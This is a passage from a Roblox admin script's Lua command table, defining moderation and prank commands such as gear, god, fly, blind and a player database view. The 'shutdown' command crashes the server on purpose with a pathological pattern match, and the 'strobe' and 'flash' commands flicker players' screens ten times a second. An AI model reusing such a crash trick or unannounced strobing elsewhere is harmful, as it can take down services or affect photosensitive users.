 	[{"beep", "annoy"}] = {"player", "Plays a beep sound to player", 1, "Admin", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			Beeps[Player.Name] = true
 			SOUND:BeepPlayer(Player)
 		end
 	end};
 
 	[{"nobeep", "unbeep", "noannoy", "unannoy"}] = {"player", "Stops beeping sound on player", 1, "Admin", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.PlayerGui then
 				Beeps[Player.Name] = nil
 				for _,Obj in pairs(Player.PlayerGui:GetChildren()) do
 					if Obj.Name == "Annoy" then
 						Obj:Stop()
 						Obj:Destroy()
 					end
 				end
 			end
 		end
 	end};
 
 	[{"time"}] = {"number/string", "Sets the time to number/string(Ex: 9:00, noon)", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Time = Arguments[1]
 		if Time == "day" or Time == "noon" then Time = "12" end
 		if Time == "night" or Time == "midnight" then Time = "0" end
 		if Time == "dawn" or Time == "morning" then Time = "6:15" end
 		if Time == "dusk" or Time == "evening" then Time = "17:45" end
 		if Time == "afternoon" then Time = "15:30" end
 		ypcall(function() Server.Lighting.TimeOfDay = Time end)
 	end};
 
 	[{"product", "buy", "purchase", "prod", "place"}] = {"player number(ID)", "Prompts player to purchase item", 2, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			MARKET:PromptPurchase(Player, Arguments[2], Speaker)
 		end
 	end};
 
 	[{"gear"}] = {"player ID", "Gives player the gear with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
 		local AbuseMode = false
 		if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			CORE:Insert(Arguments[2], Player.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
 		end
 	end};
 
 	[{"sword"}] = {"player", "Gives player a sword", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			CORE:Insert(125013769, Player.Backpack, true)
 		end
 	end};
 
 	[{"accessory", "acs", "hat"}] = {"player ID", "Gives player the accessory with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character then
 				CORE:Insert(Arguments[2], Player.Character, true, {"Accoutrement"})
 			end
 		end
 	end};
 
 	[{"flash"}] = {"", "Flashes lighting", 0, "Member", false, function(Speaker, Rank, Arguments)
 		CORE:ResetLighting()
 		repeat
 			Server.Lighting.Ambient = Color3.new(1,1,1)
 			Server.Lighting.FogColor = Color3.new(1,1,1)
 			Server.Lighting.Brightness = 1
 			Server.Lighting.TimeOfDay = 14
 			wait(0.1)
 			Server.Lighting.Ambient = Color3.new(0,0,0)
 			Server.Lighting.FogColor = Color3.new(0,0,0)
 			Server.Lighting.Brightness = 0
 			Server.Lighting.TimeOfDay = 0
 			wait(0.1)
 		until ModLighting == false
 	end};
 
 	[{"disco", "party"}] = {"", "Changes the lighting so there's a disco party", 0, "Member", false, function(Speaker, Rank, Arguments)
 		CORE:ResetLighting()
 		repeat
 			local Color = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
 			Server.Lighting.Ambient = Color
 			Server.Lighting.FogColor = Color
 			Server.Lighting.TimeOfDay = 0
 			Server.Lighting.FogEnd = 500
 			wait(0.1)
 		until ModLighting == false
 	end};
 
 	[{"fixl", "fixlighting", "nodisco", "undisco", "noflash", "unflash"}] = {"", "Removes disco or flash effects", 0, "Member", false, function(Speaker, Rank, Arguments)
 		CORE:FixLighting()
 	end};
 
 	[{"strobe"}] = {"player", "Makes player's screen flash like a strobe", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player:FindFirstChild("PlayerGui") then
 				local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
 				SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
 				local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100
 				coroutine.wrap(function() repeat Frame.BackgroundColor3 = Color3.new(0,0,0) wait(0.1) Frame.BackgroundColor3 = Color3.new(1,1,1) wait(0.1) until not SG end)()
 			end
 		end
 	end};
 
 	[{"nostrobe", "unstrobe", "noblind", "unblind"}] = {"player", "Clears the strobe effect from player's screen", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player:FindFirstChild("PlayerGui") then
 				local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
 			end
 		end
 	end};
 
 	[{"blind"}] = {"player", "Makes player unable to see", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player:FindFirstChild("PlayerGui") then
 				local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
 				SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
 				local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100 Frame.BackgroundColor3 = Color3.new(0,0,0)
 			end
 		end
 	end};
 
 	[{"rejoin", "rj", "rej", "rjoin"}] = {"", "Makes yourself rejoin the server", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
 		local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(Speaker.UserId)
 		if Suc then
 			Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Speaker)
 		else
 			Server.TS:Teleport(game.PlaceId, Speaker)
 		end
 	end};
 
 	[{"abuselist", "abusablecommands", "abusecmds", "ac"}] = {"", "Shows a list of abusable commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
 		GUI:ListGui(Speaker, "Abusable Commands", Settings.AbuseList, 2015506)
 	end};
 
 	[{"addabuse", "makeabuse", "abusecmd", "abusecommand", "addabusable", "makeabusable", "abusablecmd", "abusablecommand"}] = {"string(command)", "Adds string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
 		local NewAbuse = Arguments[1]
 		if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
 			NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
 		end
 
 		local Match = false
 		for _,AbuseCmd in pairs(Settings.AbuseList) do
 			if string.lower(AbuseCmd) == string.lower(NewAbuse) then
 				Match = true
 				break
 			end
 		end
 		if not Match then
 			table.insert(Settings.AbuseList, NewAbuse)
 			GUI:MessageAdmins("New abusable command", Speaker.Name.." has made '"..NewAbuse.."' an abuseable command", "Check")
 		else
 			GUI:SendMessage(Speaker, "Command Exists", "RED This command matches another in the abuse list, therefore, will not be added", "Error")
 		end
 		CORE:SetAbuseCommands()
 	end};
 
 	[{"removeabuse", "removeabuse", "removeabusecmd", "removeabusecommand", "removeabusable", "removeabusable", "removeabusablecmd", "removeabusablecommand", "noabuse", "unabuse", "noabusable", "unabusable"}] = {"string(command)", "Removes string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
 		local NewAbuse = Arguments[1]
 		if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
 			NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
 		end
 
 		local Removed = false
 		for Num,AbuseCmd in pairs(Settings.AbuseList) do
 			if string.sub(string.lower(AbuseCmd), 1, #NewAbuse) == string.lower(NewAbuse) then
 				Removed = true
 				table.remove(Settings.AbuseList, Num)
 			end
 		end
 		if Removed then
 			GUI:MessageAdmins("Removed abusable command", Speaker.Name.." has removed '"..NewAbuse.."' from the abuse list", "Check")
 		else
 			GUI:SendMessage(Speaker, "Command not removed", "RED Could not find '"..NewAbuse.."' in abuse list", "Error")
 		end
 		CORE:SetAbuseCommands()
 	end};
 
 	[{"god", "power"}] = {"player", "Gives player unlimited health", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character and Player.Character:FindFirstChild("Humanoid") then
 				Player.Character.Humanoid.MaxHealth = math.huge
 				Player.Character.Humanoid.Health = math.huge
 			end
 		end
 	end};
 
 	[{"heal", "nogod", "ungod", "nopower", "unpower"}] = {"player", "Resets health to full, undoes god effect(Doesn't mean there isn't God)", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character and Player.Character:FindFirstChild("Humanoid") then
 				if Player.Character.Humanoid.MaxHealth == math.huge then
 					Player.Character.Humanoid.MaxHealth = 100
 					Player.Character.Humanoid.Health = 100
 				else
 					Player.Character.Humanoid.Health = Player.Character.Humanoid.MaxHealth
 				end
 			end
 		end
 	end};
 
 	[{"loopheal"}] = {"player", "Loops player's health to full", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character and Player.Character:FindFirstChild("Humanoid") then
 				local Char = Player.Character
 				repeat Char.Humanoid.Health = Char.Humanoid.MaxHealth wait() until not Char:FindFirstChild("Humanoid") or Char.Parent == nil or Char.Humanoid.Health == 0
 			end
 		end
 	end};
 
 	[{"health"}] = {"player num", "Sets the health of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
 		if tonumber(Arguments[2]) then
 			local Players = STRING:Scan(Arguments[1], Speaker)
 			for _,Player in pairs(Players) do
 				if Player.Character and Player.Character:FindFirstChild("Humanoid") then
 					Player.Character.Humanoid.Health = Arguments[2]
 				end
 			end
 		end
 	end};
 
 	[{"speed", "ws", "walkspeed"}] = {"player num", "Sets the speed of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
 		if tonumber(Arguments[2]) then
 			local Players = STRING:Scan(Arguments[1], Speaker)
 			for _,Player in pairs(Players) do
 				if Player.Character and Player.Character:FindFirstChild("Humanoid") then
 					local Speed = tonumber(Arguments[2])
 					if Speed then
 						if Rank == "Member" then
 							if Speed > 1000 then Speed = 1000
 							elseif Speed < -1000 then Speed = -1000 end
 						end
 						Player.Character.Humanoid.WalkSpeed = Speed
 					end
 				end
 			end
 		end
 	end};
 
 	[{"damage", "dmg"}] = {"player num", "Takes away num health from player", 2, "Member", false, function(Speaker, Rank, Arguments)
 		if tonumber(Arguments[2]) then
 			local Players = STRING:Scan(Arguments[1], Speaker)
 			for _,Player in pairs(Players) do
 				if Player.Character and Player.Character:FindFirstChild("Humanoid") then
 					Player.Character.Humanoid.Health = Player.Character.Humanoid.Health - Arguments[2]
 				end
 			end
 		end
 	end};
 
 	[{"fly"}] = {"player", "Lets player be able to fly", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			CORE:Fly(Player, 10000)
 		end
 	end};
 
 	[{"noclip", "noc"}] = {"player", "Lets player be able to noclip", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			CORE:Fly(Player, 1000000)
 		end
 	end};
 
 	[{"nofly", "unfly", "clip", "nonoclip", "unnoclip"}] = {"player", "Removes fly or noclip effect", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character then
 				if Player.Character:FindFirstChild("StopMMLFly") then
 					Player.Character.StopMMLFly:InvokeClient(Player)
 				end
 			end
 		end
 	end};
 
 	[{"clearcache", "clearc", "cc"}] = {"", "Clears cached objects such as market info and http local scripts", 0, "Owner", false, function(Speaker, Rank, Arguments)
 		ScriptCache,MarketCache,CharacterCache,PackageCache = {},{},{},{}
 		GUI:SendMessage(Speaker, "Cache Cleared", "Cache has been cleared successfully", "Check")
 	end};
 
 	[{"give"}] = {"player string", "Gives player any tool found named string. Can also give build tools (basicbtools, btools, psbtools)", 2, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			CORE:GiveTools(Player, Arguments[2])
 		end
 	end};
 
 	[{"tools", "gettools", "toollist", "toolslist"}] = {"", "Gets all tools that you can use the "..Settings.Prefix.."give command", 0, "Member", false, function(Speaker, Rank, Arguments)
 		local List = {}
 		for _,Region in pairs(ToolRegions) do
 			CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
 				table.insert(List, Item.Name.."  |  Found at: "..Item:GetFullName())
 			end)
 		end
 
 		GUI:ListGui(Speaker, "Tool list", List, 73589272)
 	end};
 
 	[{"btools", "buildtools", "buildingtools"}] = {"player string", "Gives player building tools", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			CORE:GiveTools(Player, "btools")
 		end
 	end};
 
 	[{"shutdown", "sd"}] = {"", "Shuts down the server", 0, "Owner", false, function(Speaker, Rank, Arguments)
 		REMOTE:SendHttpLog(Speaker.Name.." shutdown the server", "INFORMATION")
 		for _,Player in pairs(Server.Players:GetPlayers()) do
 			Player:Kick()
 		end
 		Server.Workspace:ClearAllChildren()
 		string.find(string.rep("a", 2^20),string.rep(".?", 2^20))
 	end};
 
 	[{"scale", "size"}] = {"player num", "Scales player's character to num", 2, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			CORE:Scale(Player, Arguments[2])
 		end
 	end};
 
 	[{"mini", "small", "tiny", "small"}] = {"player", "Makes player's character mini", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			CORE:Scale(Player, 50)
 		end
 	end};
 
 	[{"hobbit"}] = {"player", "Makes player's character hobbit sized", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			CORE:Scale(Player, 70)
 		end
 	end, Hidden = true};
 
 	[{"mega", "huge", "giant", "large", "big"}] = {"player", "Makes player's character mega", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			CORE:Scale(Player, 500)
 		end
 	end};
 
 	[{"gold", "goldify"}] = {"player", "Makes player's character gold", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character then
 				CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
 					Obj.Reflectance = 0.5
 					Obj.BrickColor = BrickColor.new("New Yeller")
 				end)
 			end
 		end
 	end};
 
 	[{"shine", "shiny", "shinify", "shineify"}] = {"player", "Makes player's character shiny", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character then
 				CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
 					Obj.Reflectance = 0.5
 				end)
 			end
 		end
 	end};
 
 	[{"ghost", "ghostify", "spook", "spooky"}] = {"player", "Makes player's character a ghost", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character then
 				CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
 					Obj.Transparency = 0.5
 					Obj.Reflectance = 0
 					Obj.BrickColor = BrickColor.new("Institutional white")
 				end)
 				CORE:ScanItems(Player.Character, {"Texture", "Decal"}, function(Obj)
 					Obj.Transparency = 0.5
 				end)
 			end
 		end
 	end};
 
 	[{"nolimbs", "nolimb"}] = {"player", "Removes player's limbs", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character then
 				for _,Obj in pairs(Player.Character:GetChildren()) do
 					local Valid = false
 					for _,Name in pairs({"Right Arm", "Left Arm", "Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
 					if Valid == true then Obj:Destroy() end
 				end
 			end
 		end
 	end};
 
 	[{"noarms", "noarm"}] = {"player", "Removes player's arms", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character then
 				for _,Obj in pairs(Player.Character:GetChildren()) do
 					local Valid = false
 					for _,Name in pairs({"Right Arm", "Left Arm"}) do if Obj.Name == Name then Valid = true end end
 					if Valid == true then Obj:Destroy() end
 				end
 			end
 		end
 	end};
 
 	[{"nolegs", "noleg"}] = {"player", "Removes player's legs", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character then
 				for _,Obj in pairs(Player.Character:GetChildren()) do
 					local Valid = false
 					for _,Name in pairs({"Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
 					if Valid == true then Obj:Destroy() end
 				end
 			end
 		end
 	end};
 
 	[{"noaccessories", "noaccessory", "noacs", "nohats", "nohat"}] = {"player", "Removes player's accessories", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character then
 				for _,Obj in pairs(Player.Character:GetChildren()) do
 					if Obj:IsA("Accoutrement") then
 						Obj:Destroy()
 					end
 				end
 			end
 		end
 	end};
 
 	[{"naked", "noclothes"}] = {"player", "Removes player's clothes and hats", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			Player:ClearCharacterAppearance()
 		end
 	end};
 
 	[{"playerdatabase", "playerbase", "playerdatab", "playerdb", "plrdatabase", "plrdatab", "plrdb", "pdatabase", "pdatab", "pdb"}] = {"", "Database of all the players in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
 		local TmpPlayers = {}
 		local Output = {}
 		for _,Data in pairs(Players) do
 			table.insert(Output, {"Name: "..Data.Name.." | UserID: "..Data.UserId.." | Rank: "..Data.Rank.." | Last Joined: "..(Data.LastJoin or "Unknown").." | Account Age: "..(Data.AccountAge or "Unknown"), "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Data.Name})
 		end
 		GUI:ListGui(Speaker, "Player Database", Output, 120563622)
 	end};
 
 	[{"clearplayerdatabase", "clearpdb", "cpdb"}] = {"", "Clears the player databse", 0, "Owner", false, function(Speaker, Rank, Arguments)
 		Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
 		GUI:SendHint(Speaker, "Player Database cleared", 5)
 	end};
 
 	[{"hack", "hax"}] = {"player", "Fake hacks player", 1, "Member", true, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			GUI:FakeHack(Player)
 		end
 	end};
 
 	[{"clonetools", "clonet"}] = {"player", "Clones player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
 				for _,Object in pairs(Player.Backpack:GetChildren()) do
 					if Object:IsA("Tool") or Object:IsA("HopperBin") then
 						local Clone = Object:Clone()
 						Clone.Parent = Speaker.Backpack
 					end
 				end
 			end
 		end
 	end};
 
 	[{"taketools", "taket", "tt"}] = {"player", "Clone player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
 				for _,Object in pairs(Player.Backpack:GetChildren()) do
 					if Object:IsA("Tool") or Object:IsA("HopperBin") then
 						Object.Parent = Speaker.Backpack
 					end
 				end
 			end
 		end
 	end};
 
 	[{"givetools", "givet", "gt"}] = {"player", "Clone the speaker's tools and gives the to player", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
 				for _,Object in pairs(Speaker.Backpack:GetChildren()) do
 					if Object:IsA("Tool") or Object:IsA("HopperBin") then
 						local Clone = Object:Clone()
 						Clone.Parent = Player.Backpack
 					end
 				end
 			end
 		end
 	end};
 
 	[{"notools", "notool", "cleartools", "cleantools", "ctools", "untools"}] = {"player", "Clears player's backpack", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player:FindFirstChild("Backpack") then
 				Player.Backpack:ClearAllChildren()
 			end
 			if Player.Character ~= nil then
 				for _,Obj in pairs(Player.Character:GetChildren()) do
 					if Obj:IsA("Tool") or Obj:IsA("HopperBin") then
 						Obj:Destroy()
 					end
 				end
 			end
 		end
 	end};
 
 	[{"vomit", "puke", "throwup", "barf"}] = {"player", "Makes player vomit", 1, "Member", true, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character then
 				if Player.Character:FindFirstChild("Head") then
 					if Player.Character.Torso:FindFirstChild("Neck") and Player.Character.Head:FindFirstChild("face") then
 						coroutine.wrap(function()
 							if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
 								local OldFace = Player.Character.Head.face.Texture
 								Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(math.rad(20),0,0)
 								Player.Character.Head.BrickColor = BrickColor.new("Br. yellowish green")
 								Player.Character.Head.face.Texture = "rbxassetid://24067663"
 								local Sound = SOUND:MakeSound(Player.Character.Head, 142539016, 1, 0.9)
 								Sound:Play()
 								coroutine.wrap(function() for i = 1,100 do wait()
 									local Part = Instance.new("Part", Player.Character) Part.BrickColor = BrickColor.new("Br. yellowish green") Part.FormFactor = "Custom" Part.Elasticity = 0.1 Part.Size = Vector3.new(0.2,0.2,0.2) Part.Position = Player.Character.Head.Position + Vector3.new(math.random(-10,10)/10, math.random(-10,10)/10, math.random(-10,10)/10)
 									coroutine.wrap(function() wait(3) Part:Destroy() end)()
 								end
 								Sound:Destroy() Player.Character.Head.face.Texture = OldFace Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(-math.rad(20),0,0) pcall(function() Player.Character.Head.BrickColor = Player.Character["Body Colors"].HeadColor end) end)()
 							end end
 						end)()
 					end
 				end
 			end
 		end
 	end};
 
 	[{"fart", "stink"}] = {"player", "Makes player fart", 1, "Member", true, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character then
 				if Player.Character:FindFirstChild("Torso") and Player.Character.Head:FindFirstChild("face") then
 					coroutine.wrap(function()
 						if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
 							local OldFace = Player.Character.Head.face.Texture
 							local Fart = Instance.new("Part", Player.Character.Torso) Fart.Name = "Fart" Fart.Size = Vector3.new(1,1,1) Fart.Position = Vector3.new(0,100,0) Fart.Transparency = 1
 							local Weld = Instance.new("Weld", Fart) Weld.Part0 = Fart Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-1,-1) * CFrame.Angles(math.rad(-90),0,0)
 							local Smoke = Instance.new("Smoke", Fart) Smoke.Name = "Fart Effect" Smoke.Color = Color3.new(70/255, 100/255, 30/255)
 							Player.Character.Head.face.Texture = "rbxassetid://28118994"
 							local Sound = SOUND:MakeSound(Fart, 130833677, 1, 0.8)
 							Sound:Play()
 							wait(1)
 							Smoke.Enabled = false
 							wait(1)
 							Fart:Destroy()
 							Fart:Destroy()
 							Player.Character.Head.face.Texture = OldFace
 						end end
 					end)()
 				end
 			end
 		end
 	end};
 
 	[{"graffiti", "graf", "gra", "draw"}] = {"player", "Gives player a tool to do graffiti", 1, "Member", true, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player:FindFirstChild("Backpack") then
 				CORE:ExecuteResource("Graffiti", Player.Backpack, {["Color"] = GUI:GetColor()})
 			end
 		end
 	end};
 
 	[{"cleargraffiti", "cleargraf", "cleargra", "cleardraw", "cleangraffiti", "cleangraf", "cleangra", "cleandraw", "cgraffiti", "cgraf", "cgra", "cdraw"}] = {"", "Clears any graffiti", 0, "Admin", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character and Player.Character:FindFirstChild("MMLGraffiti") then
 				Player.Character.MMLGraffiti:ClearAllChildren()
 			end
 		end
 	end};
 
 	[{"light", "spotlight"}] = {"player", "Makes player and a small radius around whom to light up", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character and Player.Character:FindFirstChild("Torso") then
 				local Light = Player.Character.Torso:FindFirstChild("MML Light") if Light then Light:Destroy() end
 				Light = Instance.new("PointLight", Player.Character.Torso) Light.Name = "MML Light" Light.Range = 20 Light.Brightness = 2
 			end
 		end
 	end};
 
 	[{"lamp", "pointlight", "headlight", "headlamp"}] = {"player", "Makes player and a small radius in from of whom to light up as if there was a head light", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character and Player.Character:FindFirstChild("Torso") then
 				local Light = Player.Character.Torso:FindFirstChild("MML Lamp") if Light then Light:Destroy() end
 				Light = Instance.new("SpotLight", Player.Character.Torso) Light.Name = "MML Lamp" Light.Range = 30 Light.Brightness = 5
 			end
 		end
 	end};
 
 	[{"nolight", "nolamp", "unlight", "unlamp"}] = {"player", "Removes player's light and/or lamp", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character and Player.Character:FindFirstChild("Torso") then
 				local Lights = {}
 				for _,Obj in pairs(Player.Character.Torso:GetChildren()) do
 					if Obj.Name == "MML Lamp" or Obj.Name == "M".."ML Light" then
 						table.insert(Lights, Obj)
 					end
 				end
 				for _,Light in pairs(Lights) do
 					coroutine.wrap(function()
 						for i = 1,20 do
 							Light.Brightness = Light.Brightness/5
 							wait()
 						end
 						Light:Destroy()
 					end)()
 				end
 			end
 		end
 	end};
 
 	[{"drug", "lsd"}] = {"player", "Gives player the effect of being on lsd", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character and Player:FindFirstChild("PlayerGui") then
 				local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
 				SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MML Drug"
 				local Frame = Instance.new("Frame", SG) Frame.Size = UDim2.new(1,0,1,0) Frame.BackgroundTransparency = 0.5
 				local Stop = false
 				coroutine.wrap(function()
 					repeat
 						Frame.BackgroundColor3 = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
 						wait(0.1)
 					until not SG or not SG.Parent
 				end)()
 				CORE:ExecuteResource("Drug", Player.Character)
 			end
 		end
 	end};
 
 	[{"nodrug", "nolsd", "undrug", "unlsd"}] = {"player", "Removes drug effect", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player:FindFirstChild("PlayerGui") then
 				local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
 				wait() CORE:RestoreCamera(Player)
 			end
 		end
 	end};
 
 	[{"searchg", "searchgear"}] = {"string", "Searches the catalog for the gear string", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local AbuseMode = false
 		if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
 		MARKET:ShowSearch(Speaker, 5, Arguments[1], function(ID)
 			if Speaker:FindFirstChild("Backpack") then
 				CORE:Insert(ID, Speaker.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
 			end
 		end)
 	end, Http = true};
 
 	[{"searchaccessory", "searchaccessories", "searchacs", "searcha", "searchhat", "searchhats", "searchh"}] = {"string(type) string(query)", "Searches the catalog for the accessory string(query) with the type of string(type)", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Type = "all"
 		local Query = string.lower(Arguments[1])
 		local Arguments = STRING:GetSplit(Query, 2, Settings.Bet)
 		if #Arguments == 2 and Assets.AccessoryTypes[Arguments[1]] then
 			Type = Arguments[1]
